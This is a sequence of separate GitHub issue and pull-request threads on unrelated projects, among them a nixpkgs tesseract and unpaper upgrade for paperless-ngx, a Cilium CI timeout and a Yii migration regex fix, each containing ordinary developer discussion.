paperless-ngx: Upgrade tesseract and unpaper

The documentation of paperless-ngx mentions it supports versions greater than or equal 4.0.
The NixOS test is passing with this change.
Description of changes
I have a document that when running it through tesseract consumes > 4GB memory and triggers the OOM killer. I hope updating tesseract will provide fixes for such scenarios.

Things done

Built on platform(s)

[x] x86_64-linux
[x] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

[ ] For non-Linux: Is sandbox = true set in nix.conf? (See Nix manual)
[x] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[ ] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[ ] Tested basic functionality of all binary files (usually in ./result/bin/)
22.11 Release Notes (or backporting 22.05 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module
[ ] (Release notes changes) Ran nixos/doc/manual/md-to-db.sh to update generated release notes

[x] Fits CONTRIBUTING.md.

This is a semi-automatic executed nixpkgs-review with nixpkgs-review-checks extension. It is checked by a human on a best effort basis and does not build all packages (e.g. lumo, tensorflow or pytorch).
Result of nixpkgs-review pr 192249 run on x86_64-linux 1

2 packages marked as broken and skipped:

paperless
paperless-ng

1 package built:

paperless-ngx

I tried the OCR with tesseract locally and it constrained itself to ~2.2GB on my desktop machine where it would otherwise have plenty of memory.

I just check the build log of the docker image. That still uses the 4 version of tesseract. I don't see any issues with using the newer version of tesseract though. Their Release Notes don't mention any breaking changes, either

Does not fix out of memory issues with 4GB supplied to the VM, but probably still a worthwhile upgrade.

Adding the bump for unpaper 7.0.0 into this PR so we can test these changes together.

There is an old discussion about higher memory consumption and OOM errors here. It's probably not easy to debug. I haven't noticed it, either.
Does it occur with every document? Or does it correlate with its size and/or amount of text?

It is not particularly large and otherwise shouldn't be too fancy. I think it was produced by our old Brother 8460N MFC, which we have replaced in the meantime. Not sure if we still have the original document though.
❯ pdfinfo 0452_001-1.pdf
Producer:        cairo 1.16.0 (https://cairographics.org)
CreationDate:    Sun Jan 16 20:51:08 2022 CET
Custom Metadata: no
Metadata Stream: no
Tagged:          no
UserProperties:  no
Suspects:        no
Form:            none
JavaScript:      no
Pages:           1
Encrypted:       no
Page size:       595.2 x 841.44 pts (A4)
Page rot:        0
File size:       414993 bytes
Optimized:       no
PDF version:     1.7

❯ exiftool -a -G1 0452_001-1.pdf
[ExifTool]      ExifTool Version Number         : 12.39
[System]        File Name                       : 0452_001-1.pdf
[System]        Directory                       : .
[System]        File Size                       : 405 KiB
[System]        File Modification Date/Time     : 2022:09:21 14:27:01+02:00
[System]        File Access Date/Time           : 2022:09:21 17:55:44+02:00
[System]        File Inode Change Date/Time     : 2022:09:21 14:27:01+02:00
[System]        File Permissions                : -rw-r--r--
[File]          File Type                       : PDF
[File]          File Type Extension             : pdf
[File]          MIME Type                       : application/pdf
[PDF]           PDF Version                     : 1.7
[PDF]           Linearized                      : No
[PDF]           Page Count                      : 1
[PDF]           Producer                        : cairo 1.16.0 (https://cairographics.org)
[PDF]           Create Date                     : 2022:01:16 20:51:08+01:00

This is a semi-automatic executed nixpkgs-review with nixpkgs-review-checks extension. It is checked by a human on a best effort basis and does not build all packages (e.g. lumo, tensorflow or pytorch).
Result of nixpkgs-review pr 192249 run on x86_64-linux 1

2 packages marked as broken and skipped:

paperless
paperless-ng

1 package failed to build and are new build failure:

gscan2pdf: plain log

5 packages built:

ocrmypdf (python310Packages.ocrmypdf)
paperless-ngx
pdfsandwich
python39Packages.ocrmypdf
unpaper

The following issues got detected with the above build packages.
Please fix at least the ones listed with your changed packages:

pdfsandwich:

got build log for '/nix/store/01y405kq8ms73l191wakpwfcfvw0nr5q-pdfsandwich-0.1.7' from 'daemon'
When evaluating attribute ‘pdfsandwich’:
warning: unclear-gpl
gpl2 is a deprecated license, please check if project uses gpl2Plus or gpl2Only and change meta.license accordingly.
Near pkgs/tools/typesetting/pdfsandwich/default.nix:27:5:
   |
27 |     license = licenses.gpl2;
   |     ^

See: https://github.com/jtojnar/nixpkgs-hammering/blob/master/explanations/unclear-gpl.md

unpaper:

got build log for '/nix/store/ga8f7shb6xy7pnivr4nzpvlmvwlsl95d-unpaper-7.0.0' from 'daemon'
When evaluating attribute ‘unpaper’:
warning: unclear-gpl
gpl2 is a deprecated license, please check if project uses gpl2Plus or gpl2Only and change meta.license accordingly.
Near pkgs/tools/graphics/unpaper/default.nix:54:5:
   |
54 |     license = licenses.gpl2;
   |     ^

See: https://github.com/jtojnar/nixpkgs-hammering/blob/master/explanations/unclear-gpl.md

Test issues reported "upstream" at https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1020458.

unpaper should be marked gpl2Only, I think.

Mostly gpl2Only with bits and pieces in MIT and BSD0.
AUTHORS
3:# SPDX-License-Identifier: GPL-2.0-only

README.md
4:SPDX-License-Identifier: GPL-2.0-only

NEWS
3:# SPDX-License-Identifier: GPL-2.0-only

constants.h
3:// SPDX-License-Identifier: GPL-2.0-only

file.c
5:// SPDX-License-Identifier: GPL-2.0-only

imageprocess.c
6:// SPDX-License-Identifier: GPL-2.0-only

doc/conf.py
3:# SPDX-License-Identifier: MIT

doc/basic-concepts.md
4:SPDX-License-Identifier: GPL-2.0-only

doc/file-formats.md
4:SPDX-License-Identifier: GPL-2.0-only

doc/image-processing.md
4:SPDX-License-Identifier: GPL-2.0-only

doc/unpaper.1.rst
3:.. SPDX-License-Identifier: GPL-2.0-only

imageprocess.h
5:// SPDX-License-Identifier: GPL-2.0-only

meson.build
3:# SPDX-License-Identifier: MIT

parse.c
5:// SPDX-License-Identifier: GPL-2.0-only

parse.h
5:// SPDX-License-Identifier: GPL-2.0-only

doc/img/multiple-input-files.png.license
3:SPDX-License-Identifier: GPL-2.0-only

doc/img/mask-scan.png.license
3:SPDX-License-Identifier: GPL-2.0-only

doc/img/mask-scan-detail1.png.license
3:SPDX-License-Identifier: GPL-2.0-only

doc/img/layout-templates.png.license
3:SPDX-License-Identifier: GPL-2.0-only

doc/img/blurfilter.png.license
3:SPDX-License-Identifier: GPL-2.0-only

doc/img/blackfilter-detail.png.license
3:SPDX-License-Identifier: GPL-2.0-only

doc/img/blackfilter.png.license
3:SPDX-License-Identifier: GPL-2.0-only

doc/img/blurfilter-detail.png.license
3:SPDX-License-Identifier: GPL-2.0-only

doc/img/border-align.png.license
3:SPDX-License-Identifier: GPL-2.0-only

doc/img/border-scan.png.license
3:SPDX-License-Identifier: GPL-2.0-only

doc/img/deskew-detail1.png.license
3:SPDX-License-Identifier: GPL-2.0-only

doc/img/deskew.png.license
3:SPDX-License-Identifier: GPL-2.0-only

doc/img/deskew-detail2.png.license
3:SPDX-License-Identifier: GPL-2.0-only

doc/img/documentation.odg.license
3:SPDX-License-Identifier: GPL-2.0-only

doc/img/input-pages.png.license
3:SPDX-License-Identifier: GPL-2.0-only

doc/img/mask-center.png.license
3:SPDX-License-Identifier: GPL-2.0-only

doc/img/mask-scan-detail2.png.license
3:SPDX-License-Identifier: GPL-2.0-only

doc/img/multiple-output-files.png.license
3:SPDX-License-Identifier: GPL-2.0-only

doc/img/noisefilter.png.license
3:SPDX-License-Identifier: GPL-2.0-only

doc/img/output-pages.png.license
3:SPDX-License-Identifier: GPL-2.0-only

doc/img/processing-order.png.license
3:SPDX-License-Identifier: GPL-2.0-only

doc/img/sheetspages.png.license
3:SPDX-License-Identifier: GPL-2.0-only

doc/img/standard-deviation.png.license
3:SPDX-License-Identifier: GPL-2.0-only

tools.c
5:// SPDX-License-Identifier: GPL-2.0-only

tools.h
5:// SPDX-License-Identifier: GPL-2.0-only

version.h.in
3: * SPDX-License-Identifier: 0BSD

unpaper.h
5:// SPDX-License-Identifier: GPL-2.0-only

unpaper.c
5:// SPDX-License-Identifier: GPL-2.0-only

tests/unpaper_tests.py
3:# SPDX-License-Identifier: GPL-2.0-only
4:# SPDX-License-Identifier: MIT

tests/source_images/imgsrc003.png.license
3:SPDX-License-Identifier: GPL-2.0-only

tests/golden_images/goldenE1-01.pbm.license
3:SPDX-License-Identifier: GPL-2.0-only

tests/golden_images/goldenC2.pbm.license
3:SPDX-License-Identifier: GPL-2.0-only

tests/golden_images/goldenB2.ppm.license
3:SPDX-License-Identifier: GPL-2.0-only

tests/golden_images/goldenB1.ppm.license
3:SPDX-License-Identifier: GPL-2.0-only

tests/golden_images/goldenA1.pbm.license
3:SPDX-License-Identifier: GPL-2.0-only

tests/golden_images/goldenB3.ppm.license
3:SPDX-License-Identifier: GPL-2.0-only

tests/golden_images/goldenC1.pbm.license
3:SPDX-License-Identifier: GPL-2.0-only

tests/golden_images/goldenC3.pbm.license
3:SPDX-License-Identifier: GPL-2.0-only

tests/golden_images/goldenD1.ppm.license
3:SPDX-License-Identifier: GPL-2.0-only

tests/golden_images/goldenD2.ppm.license
3:SPDX-License-Identifier: GPL-2.0-only

tests/golden_images/goldenD3.ppm.license
3:SPDX-License-Identifier: GPL-2.0-only

tests/golden_images/goldenE1-02.pbm.license
3:SPDX-License-Identifier: GPL-2.0-only

tests/source_images/imgsrc001.png.license
3:SPDX-License-Identifier: GPL-2.0-only

tests/source_images/imgsrc002.png.license
3:SPDX-License-Identifier: GPL-2.0-only

tests/golden_images/goldenE1-04.pbm.license
3:SPDX-License-Identifier: GPL-2.0-only

tests/golden_images/goldenE1-05.pbm.license
3:SPDX-License-Identifier: GPL-2.0-only

tests/source_images/imgsrc004.png.license
3:SPDX-License-Identifier: GPL-2.0-only

tests/golden_images/goldenE1-06.pbm.license
3:SPDX-License-Identifier: GPL-2.0-only

tests/source_images/imgsrc005.png.license
3:SPDX-License-Identifier: GPL-2.0-only

tests/golden_images/goldenF.pbm.license
3:SPDX-License-Identifier: GPL-2.0-only

tests/source_images/imgsrcE001.png.license
3:SPDX-License-Identifier: GPL-2.0-only

tests/source_images/imgsrcE002.png.license
3:SPDX-License-Identifier: GPL-2.0-only

tests/source_images/imgsrcE003.png.license
3:SPDX-License-Identifier: GPL-2.0-only

tests/golden_images/goldenE1-03.pbm.license
3:SPDX-License-Identifier: GPL-2.0-only

@mweinelt could you provide an example pdf, so I can test and possibly reproduce?

Provided privately due to privacy concerns.

@mweinelt thanks for providing the test file.
A little update:

Consuming this file with the docker image of paperless 1.8.0 will result in a OOM situation with 8GB limit
Consuming this file with the docker image of paperless 1.9.0-beta.rc3 will not result in OOM. Maximum memory usage is around 5,7 GB
Doing an OCR with ocrmypdf for just this testfile results in a memory usage of about 5,7 GB
Doing an OCR on another scanned test page (different scanner, also 1 page only) results in only 1GB of memory usage with ocrmypdf

For now I suppose ocrmypdf has an issue with this particular PDF. Also an update to the newest version of paperless will reduce the memory footprint.
I'll do some more tests, though

@ofborg eval

Moving the unpaper changes out of this tree, because they break gscan2pdf and there is no upstream responset yet.


How to model empty/compose JSQMessageViewController

Hi,
I'm using JSQMessageViewController in my project and I feel its awesome. You guys did a brilliant job. I have a question on this. When I press compose new message how I can model empty JSQMessageViewController similar to new message compose? Is that possible with JSQMessageViewController?
Thanks for your brilliant work.

Thanks @dkc1987 ! :smile:
I think the answer in #1331 should help. If not, let me know!


Update CONTRIBUTING.md

Fixed repeating word, added comma

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.


character shift if prompt string is empty ("")

Noticed a weird behavior if the prompt char array is empty (""), the input string shifts 1 char to the left after the initial backspace.  Also, the cursor does not return to column position 0.  The input buffer is still returned normally (i.e. all chars printed to current terminal before return match the returned string), but it does look weird (indicating that this might be an issue with the line refresh function(s). =P

I have the same behaviour when the prompt is color coded using standard ANSI rules (here with the OCaml bidings of Linenoise)


CI: External workloads (ci-external-workloads) The job running on runner GitHub Actions 5 has exceeded the maximum execution time of 20 minutes

CI failure
The connectivity test part is succeeding, but it exceeds the timeout right after that. Maybe bumping the timeout resolves the issue.
Zip: cilium-sysdump-out.zip.zip
Link: https://github.com/cilium/cilium/actions/runs/2960724291
level=warning msg="WARNING: the gcp auth plugin is deprecated in v1.22+, unavailable in v1.25+; use gcloud instead." subsys=klog
level=warning msg="To learn more, consult https://cloud.google.com/blog/products/containers-kubernetes/kubectl-auth-changes-in-gke" subsys=klog
✨ [gke_***_us-west2-a_cilium-cilium-2960724291-vm] Creating namespace cilium-test for connectivity check...
✨ [gke_***_us-west2-a_cilium-cilium-2960724291-vm] Deploying echo-same-node service...
✨ [gke_***_us-west2-a_cilium-cilium-2960724291-vm] Deploying DNS test server configmap...
✨ [gke_***_us-west2-a_cilium-cilium-2960724291-vm] Deploying same-node deployment...
✨ [gke_***_us-west2-a_cilium-cilium-2960724291-vm] Deploying client deployment...
✨ [gke_***_us-west2-a_cilium-cilium-2960724291-vm] Deploying client2 deployment...
✨ [gke_***_us-west2-a_cilium-cilium-2960724291-vm] Deploying echo-other-node service...
✨ [gke_***_us-west2-a_cilium-cilium-2960724291-vm] Deploying other-node deployment...
⌛ [gke_***_us-west2-a_cilium-cilium-2960724291-vm] Waiting for deployments [client client2 echo-same-node] to become ready...
⌛ [gke_***_us-west2-a_cilium-cilium-2960724291-vm] Waiting for deployments [echo-other-node] to become ready...
⌛ [gke_***_us-west2-a_cilium-cilium-2960724291-vm] Waiting for CiliumEndpoint for pod cilium-test/client-7bdbddd7b-qxjpn to appear...
⌛ [gke_***_us-west2-a_cilium-cilium-2960724291-vm] Waiting for CiliumEndpoint for pod cilium-test/client2-74f4559c78-gcksn to appear...
⌛ [gke_***_us-west2-a_cilium-cilium-2960724291-vm] Waiting for pod cilium-test/client-7bdbddd7b-qxjpn to reach DNS server on cilium-test/echo-same-node-57856b4474-dj74w pod...
⌛ [gke_***_us-west2-a_cilium-cilium-2960724291-vm] Waiting for pod cilium-test/client2-74f4559c78-gcksn to reach DNS server on cilium-test/echo-same-node-57856b4474-dj74w pod...
⌛ [gke_***_us-west2-a_cilium-cilium-2960724291-vm] Waiting for pod cilium-test/client-7bdbddd7b-qxjpn to reach DNS server on cilium-test/echo-other-node-7746b7599f-phrxg pod...
⌛ [gke_***_us-west2-a_cilium-cilium-2960724291-vm] Waiting for pod cilium-test/client2-74f4559c78-gcksn to reach DNS server on cilium-test/echo-other-node-7746b7599f-phrxg pod...
⌛ [gke_***_us-west2-a_cilium-cilium-2960724291-vm] Waiting for pod cilium-test/client-7bdbddd7b-qxjpn to reach default/kubernetes service...
⌛ [gke_***_us-west2-a_cilium-cilium-2960724291-vm] Waiting for pod cilium-test/client2-74f4559c78-gcksn to reach default/kubernetes service...
⌛ [gke_***_us-west2-a_cilium-cilium-2960724291-vm] Waiting for CiliumEndpoint for pod cilium-test/echo-other-node-7746b7599f-phrxg to appear...
⌛ [gke_***_us-west2-a_cilium-cilium-2960724291-vm] Waiting for CiliumEndpoint for pod cilium-test/echo-same-node-57856b4474-dj74w to appear...
⌛ [gke_***_us-west2-a_cilium-cilium-2960724291-vm] Waiting for Service cilium-test/echo-other-node to become ready...
⌛ [gke_***_us-west2-a_cilium-cilium-2960724291-vm] Waiting for Service cilium-test/echo-same-node to become ready...
⌛ [gke_***_us-west2-a_cilium-cilium-2960724291-vm] Waiting for NodePort 10.[16](https://github.com/cilium/cilium/runs/8104860084?check_suite_focus=true#step:19:17)8.0.14:30805 (cilium-test/echo-same-node) to become ready...
⌛ [gke_***_us-west2-a_cilium-cilium-2960724291-vm] Waiting for NodePort <IP_ADDRESS>:32588 (cilium-test/echo-other-node) to become ready...
⌛ [gke_***_us-west2-a_cilium-cilium-2960724291-vm] Waiting for NodePort <IP_ADDRESS>:32588 (cilium-test/echo-other-node) to become ready...
⌛ [gke_***_us-west2-a_cilium-cilium-2960724291-vm] Waiting for NodePort <IP_ADDRESS>:30805 (cilium-test/echo-same-node) to become ready...
ℹ  Skipping IPCache check
🔭 Enabling Hubble telescope...
⚠  Unable to contact Hubble Relay, disabling Hubble telescope and flow validation: rpc error: code = Unavailable desc = connection error: desc = "transport: Error while dialing dial tcp [::1]:4245: connect: connection refused"
ℹ  Expose Relay locally with:
   cilium hubble enable
   cilium hubble port-forward&
ℹ  Cilium version: 1.12.90
🏃 Running tests...

[=] Test [no-policies]
......................................
[=] Test [allow-all-except-world]
................
[=] Test [client-ingress]
..
[=] Test [echo-ingress]
....
[=] Test [client-ingress-icmp]
..
[=] Test [client-egress]
....
[=] Test [client-egress-expression]
....
[=] Test [client-egress-to-echo-service-account]
....
[=] Test [to-entities-world]
......
[=] Test [to-cidr-1111]
....
[=] Test [echo-ingress-l7]
............
[=] Test [echo-ingress-l7-named-port]
............
[=] Test [echo-ingress-from-other-client-deny]
......
[=] Test [client-ingress-from-other-client-icmp-deny]
......
[=] Test [client-egress-to-echo-deny]
......
[=] Test [client-ingress-to-echo-named-port-deny]
....
[=] Test [client-egress-to-echo-expression-deny]
....
[=] Test [client-egress-to-echo-service-account-deny]
....
[=] Test [client-egress-to-cidr-deny]
....
[=] Test [client-egress-l7]
..........
[=] Test [client-egress-l7-named-port]
..........
[=] Test [dns-only]
..........
[=] Test [to-fqdns]
......
✅ All 23 tests ([17](https://github.com/cilium/cilium/runs/8104860084?check_suite_focus=true#step:19:18)8 actions) successful, 0 tests skipped, 0 scenarios skipped.
Error: The operation was canceled.

This should be fixed as part of https://github.com/cilium/cilium/pull/21136


(Question) How can I plot svg post-hoc after a run?

I just ran this on about 60k genomes before I realized the Drawsvg version made changes that weren't address in the current CCTyper implementation (see https://github.com/Russel88/CRISPRCasTyper/issues/45).
Is there a way I can load the data that ran correctly so I can still plot it using CCTyper?

You can run with the --redo_typying argument. Then at least prodigal and HMMER will not be run again


Add setuptools as dependency in ASV benchmark CI

Adding setuptools_scm[toml] and setuptools_scm_git_archive appears to fix the issue.
Not sure why this is needed though.

[x] Closes #6606

Super — thanks @Illviljan !


Preview skewed  when rotating phone while previewing/streaming

Hi. Almost everything works great. Thanks for this library, appreciate your work.
I am not really good with using camera or SurfaceView. I followed your basic example and streaming is fine. I only use portrait orientation in my app. My preview (SurfaceView) is squared, not fullscreen. It shows preview stretched and when I rotate my phone it gets skewed while rotating and when rotation to landscape is finished it is, obviously stretched even more. I know this is not a problem of this library, but I was hoping you would help me to display it correctly.
Using camera.prepareVideo(width, height, fps, videoBitrate, isHardwareRotatation, rotation) does not change anything. I tried different width and height values to test but it does not make any difference. Thank you.

If you want set the real resolution to preview I recommend you use OpenglView or LightOpenglView instead of surfaceview (API 18+) and set keepAspectRatio to true:
https://github.com/pedroSG94/rtmp-rtsp-stream-client-java/blob/master/app/src/main/res/layout/activity_open_gl.xml#L12
If you need support API 16 and 17 you can use TextureView and set aspect ratio manually like in texture example (In this example require API21 because this is using camera 2 but you can replace RtmpCamera2 to RtmpCamera1 and work in API 16 and 17):
https://github.com/pedroSG94/rtmp-rtsp-stream-client-java/blob/master/app/src/main/java/com/pedro/rtpstreamer/texturemodeexample/TextureModeRtmpActivity.java#L186


Spin docs: Ability to toggle between dev/unreleased and latest

I'm wondering if we need/want the functionality in the Spin docs to be able to delineate between unreleased features (meaning, on the main branch and included in canary, but not in an official semver release) and features/functionality included in the most recent release.
I suppose this could be accomplished via functionality built into the website itself (like a toggle between versions)... or maybe relegated to process/awareness, i.e. broadcast that canary.developer.fermyon.com is auto-deployed with the latest docs, potentially including unreleased features but that developer.fermyon.com is only updated when a semver tag in Spin is cut.  This latter route may be tricky (but not unsolveable), as it involves events that span multiple repos (we'll want to track when tags are pushed to fermyon/spin; this repo itself doesn't yet utilize tags, etc.)
Assuming this repo is going to grow to hold docs for other tools (eg Bartholomew), the same approach would apply to multiple repos, so we'll want to pick a strategy with this in mind.

cc @flynnduism, who has experience doing this for other project documentation websites.

Whatever approach is taken for channels, will probably impact on docs for supporting versions/releases too, it's hard to know if we will want to support Docs for all versions, but given this Developer docs repo will house many projects, we should consider how to accommodate such things.
On various OSS project Docs I'm familiar with the approach was to spin off the release tags and deploy them as a archival branch of the docs, and deploy each as static archive, with the subdomains mirroring the branch names.
e.g.
https://docs.projectname.io/                > main branch
https://release-v1-2.docs.projectname.io/   > v1.2
https://release-v1-1.docs.projectname.io/   > v1.1

Content Structure
Our url structure is different here, given how we're housing many projects so I'm not sure what way makes the most sense - we probably need to incorporate subdirectories rather than subdomains, e.g.
https://developer.fermyon.com/latest/spin/index
https://developer.fermyon.com/0.2/spin/index
https://developer.fermyon.com/0.1/spin/index

I've seen massive repos where all the versions co-exist as directories (rather than branches served individually), it presents other challenges, around SEO indexing and in-site docs search tools, and how internal links work when you have versions in the path - you have be careful how things are surfaced. It's easy to end up with scenarios where users end accidentally navigating between versions and it becomes a UX nightmare.

You search for Getting Started on latest, do you get 4 results for Getting Started 1.0, 2.0, 3.0 etc?
Front-end UI
In the website layout, the main changes are simple enough -

add a dropdown to the menu to facilitate switching between the versions
add a big sticky banner across the site reminds you that you are currently viewing version X.Y. (for any version that is any version/channel that is not the latest stable release)

See linear.app's Developer Docs team for more information.

See linear.app's Developer Docs team for more information

Is it possible to link to where it moved to? The Developer Docs team isn't visible by default, so we cannot access things there.


[ECS] Fixer test case

Trying to add the test case you wanted (https://github.com/symplify/symplify/pull/3236#issuecomment-855787764).
However chances are this isn't exactly what you imagined. I think it would be better to run differently so that the newly-compiled prefixed ECS is used instead of one from composer which would be older.
Also I have no idea how to add it to your GitHub Actions.
Anyway steps to reproduce the error:

cd packages/easy-coding-standard/build/target-repository/test
composer install
vendor/bin/phpunit --bootstrap vendor/autoload.php tests/FixerTestCase.php

This fails with the same error as I reported.
I also checked that if I change ECS version in the new composer.json to "9.2.10" and change the namespace of AbstractCheckerTestCase in the test then it works. (Had to install symplify/symplify-kernel but that's a detail.)
What's next?

I think it would be better to run differently so that the newly-compiled prefixed ECS is used instead of one from composer which would be older.

Yes, that's what I meant. I use dev-main version for that with sleep of ~30 secs.
Similar to this: https://github.com/rectorphp/rector/blob/main/.github/workflows/standalone_rule_test.yaml

Anyway steps to reproduce the error:

That should part of GitHub Action workflow there.

Where should the sleep be? It isn't in the linked rector workflow.
Should I add a new workflow or somehow add it to an existing one? Where in symplify should the workflow be?

Anything that is in packages/easy-coding-standard/build is copied to root directory:
https://github.com/symplify/easy-coding-standard

@TomasVotruba Like this?

@enumag It's a good direction. I've dropped a few comments

@TomasVotruba I made the changes you asked for.

Thanks :+1:

These should be always green too before any review

@TomasVotruba Done.

Updated :-)

@TomasVotruba Updated. Also realized that composer require symplify/easy-coding-standard wouldn't work since it would fail with
Root package 'symplify/easy-coding-standard' cannot require itself in its composer.json

So I added the checkout back which is much better solution in my opinion anyway and serves the purpose just fine.

That does reflect real-life scenario. There should be no code at all at start. It seems you have checked somehow checked out repository code. That should not happen.

@TomasVotruba Had to change the working directory to make it possible but it's done.

ping @TomasVotruba

Let's give this a try :+1:

Manual merge with rebase in https://github.com/symplify/symplify/pull/3413


Enable bronze apple in TW

Addresses #1702
Don't know if it's blue of bronze but makes the option appear when selecting battle config

@ALIAZ333 would you mind testing?

Absolutely! Will report back once tested!


onClose reset form values

I am trying to reset the form value when close button click. How to do this?

I guess it depends on how your form is setup, but in theory you should be able to do this by subscribing the onClose or onDismiss event emitters and then performing your logic in there.

@AJMalik007 you ever get this figured out? Feel free to reopen if not.

I don't know if there's an official way but I found this:
 <modal (onClose)="handleClose()" #myModal> 			<form #myForm="ngForm">
...
@ViewChild('myForm') public myForm: NgForm;
...
  handleClose() {
// do my things
this.myForm.reset();
  }

@rcmedeiros That's perfectly valid.


Standardized contract naming protocol

It may be helpful to attempt and create a standardized naming protocol for contracts similar to how financial futures are named.  This may not be fully all encompassing, and certainly people could opt out, but it would allow for easy search, indexing, etc of contracts.

@pelsasser I believe you are experts in that field but I had some thought on this.
I would propose a standardized name that would consist of four fields:
A three letter acronym of the data source, e.g.:
BIN - Binance
KRA - Kraken
POL - Poloniex

A security Symbol: e.g.
ETHUSD
XBTUSD
LTCUSD
BCHUSD

Base Token Symbol, e.g.
FUSD
FEUR
FCNY

Contract expiration, a UNIX timestamp, e.g.<PHONE_NUMBER>.
The full examples would be:
KRA_XBTUSD_FUSD_1522361058
KRA_LTCUSD_FUSD_1522361128

Using this approach, the contract names could potentially be automatically generated by dApp by enabling a checkbox "Automatically generate contract name" in contract deployer form.

I like this idea a lot.  It is pretty in line with the ideas around this that I had previously.  There are always going to be some outliers that fall outside of the "convention" which makes it a bit more challenging, but some standardization is better than none.
One other important piece of the contract would be the PRICE_CAP and PRICE_FLOOR.  If we look at traditional options markets, these get included so may not be a bad idea to add them.  Essentially that would make the name very searchable and indexable.
Any thoughts about incorporating those?  The other point is that the data is always available inside of the contract itself....

I also thought about after I submitted the proposal. I think it makes sense to add those, too.

REFERENCEASSETSYMBOL_COLLATERALTOKENSYMBOL_DATAPROVIDER_EXPIRATION_USERTEXT
Examples
BTC_WETH_BIN_1531911382232_PE
BTC_USDT_BIN_1531911382232_001
Possible problems

Is there really a need for the expiration since we already store it in contract in the same format? Every added bit of data costs more gas.
Do we need anything else?
Contract names may not be unique.

There is nothing we can do to force uniqueness really, and I don't think we should to be honest.  At the very end of the day the contract address will be unique, AND it is very unlikely two people create identical contracts expiring at the same second.
Adding fields that already exist in the contract meta data elsewhere (like FLOOR and CAP) to me seems redundant.  Off chain applications can always grab this data and append the name however they prefer.  I think the only exception to this in my mind is the EXPIRATION and I think that is mainly by convention that it seems it should be included as the part of the name.

closing in deference to epic https://github.com/MARKETProtocol/dApp/issues/268


Migration tool. Create migrate with comma in defaultValue

The issue like that: https://github.com/yiisoft/yii2/issues/10969
If "defaultValue" contains comma, incorrect code will be generated.
yii migrate/create add_field_to_table
--fields="title:string(10):notNull:unique:defaultValue('te,st'),body:text:notNull"

Confirmed. Would you like to fix the regexp and submit a PR?

@s-o-f @SilverFire i can handle it ;)

@s-o-f @s1lver check my pr please https://github.com/yiisoft/yii2/pull/11463

Not worked with
defaultValue('te,s,t')
and
defaultValue( 'te,s,t' ) whitespaces between "(" and '

ups, its true, any suggestion?

Maybe something like this:
(?!\((\'|")*[^"\']+)\s*,\s*(?![^"\']*(\'|")*\))
Tests: https://regex101.com/r/gZ5dH3/2

@s-o-f try it this one, please :
(?!\((\'|")*[^"\']+)\s*,\s*((?![^"\'(\)]*(\'|")*\)))

it pass your examples :
https://regex101.com/r/gZ5dH3/4
are there other case where it can fail?

Last two lines fails
https://regex101.com/r/gZ5dH3/5

yes, let's me try again.

@s-o-f
https://regex101.com/r/gZ5dH3/6
now?

@pana1990
Your last variant fails in last line here: https://regex101.com/r/gZ5dH3/8
How about this: (?!\([^\s*\,])\s*,\s*(?!.*('|")\))
https://regex101.com/r/gZ5dH3/9

@s-o-f   it fails in the following example :
< sdfsf,sdfsdf,asdsd(),sdfsdf('3',33,"22"), > without end line.
https://regex101.com/r/gZ5dH3/10

we should use https://regex101.com/ before making more commits. That way everyone can test the provided regex easily

@pana1990
Maybe this: (?!\([^\s*\,])\s*,\s*(?![^"']*('|")\))
https://regex101.com/r/gZ5dH3/11
In this sdfsdf('3',33, "22") you can't use ' and ", then migrate command will be invalid:
yii migrate/create add_field_to_table
--fields="title:string(10):notNull:unique:defaultValue('3',33, "22"),body:text:notNull"

Huh, not so easy :laughing:
The last one seems to be correct.

In this sdfsdf('3',33, "22") you can't use ' and "

It's a kind of shooting yourself in the foot. Don't take care too much about this case :)

@s-o-f
this example fails :
title:string(10):notNull:unique:defaultValue("test"),body:text:notNull,price:money(11,2):notNull

@s-o-f @SilverFire
I thingk to find to solution :
\s*,\s*(?![^()]*\))
https://regex101.com/r/gZ5dH3/14
are there other case where it can fail?

i think it is okey, can you check it? @s-o-f  @SilverFire
thanks in advanced


MessagePack for sending binary

Does jawampa support sending binary  using  MessagePack ? I mean if I have picture data for example and I want to sand it using MessagePack - is it possible? I am asking it because README says "jawampa does not properly support the transmission of binary values as required in the WAMP specification" and now it is not clear all possibilities of sending binaries. Sorry

mb you could use base64 for your purpose

Binary data serialization with Messagepack should work without issues, but I guess it would still be the best if you test and confirm it with the other clients and router of your choice.
The problem with json serialization is that most JSON serializers (including jackson) will serialize binary data simply into a base64 string, but the WAMP specification also requires a 0 character in front of that string (which some environments could also interpret as an empty string). Maybe jackson can also be configured to do that, I haven't studied this in detail.

I'm using binary values with a router supporting only MessagePack and it works fine, Jackson will do the right thing.
The main issue you might run into as Matthias suggested is that if you are using a router with clients using both jackson and msgpack serializations, and your client using MessagePack calls a procedure or publishes an event containing binary data, and the receiving client is using json, the router will convert the binary to base64 automatically for the json client. Your json client would need to handle conversation from base64 to binary itself as the base64 can't be distinguished from a regular json string value, this is why the spec says to prepend the 0 char to allow this more easily. However if you are using Jackson or some other data binding framework, it should be fine since deserialization will likely just try to convert the base64 to say a byte[] value based on the binding type information.

How do you tell the jawampa client to use MsgPack instead of JSON?
Is there any jawampa documentation beyond what is on its github landing page?
Thank you.

See the added WampClientBuilder#withSerializations parameter from here: https://github.com/Matthias247/jawampa/pull/25/files


slick pauseonhover issue

https://codepen.io/Sam8286/pen/pxJROz
this is my demo page
I am having an issuse pauseohhover takes exactly the value of speed which is 8 sec in my case can any one suggest me an answer also i have used a pause and resume button the pause take 8sec but the resume happens immediatly
kenwheeler can you help me with this....

Hi there,
Just want to chip in and say I was also experiencing this issue but the following settings helped:
autoplay: true,
autoplaySpeed:3000,
cssEase: 'linear',
You might still want to adjust the animation speed using the "speed" setting - I've got mine set to 1000 and that seems to have settled it down enough for the user to still take in the information as it automatically scrolls.
I think the main issue is because pauseOnHover is set to true by default so adding it in causes a conflict somehow?
